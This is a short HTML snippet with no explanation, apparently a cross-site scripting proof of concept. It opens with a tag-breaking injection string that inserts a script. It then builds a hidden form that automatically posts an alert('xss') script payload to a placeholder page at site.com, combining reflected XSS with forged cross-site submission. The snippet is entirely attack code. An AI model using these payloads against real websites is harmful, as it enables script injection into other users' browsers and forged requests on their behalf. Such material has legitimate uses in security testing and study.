"> </a><script>alert("java")</script><a>

<form method="post" action="http://site.com/page.php">;
<input type="hidden" name="var" value="<script>alert('xss')</script>">
</form>
<script type="text/javascript">
document.getElementsByTagName('form')[0].submit();
</script>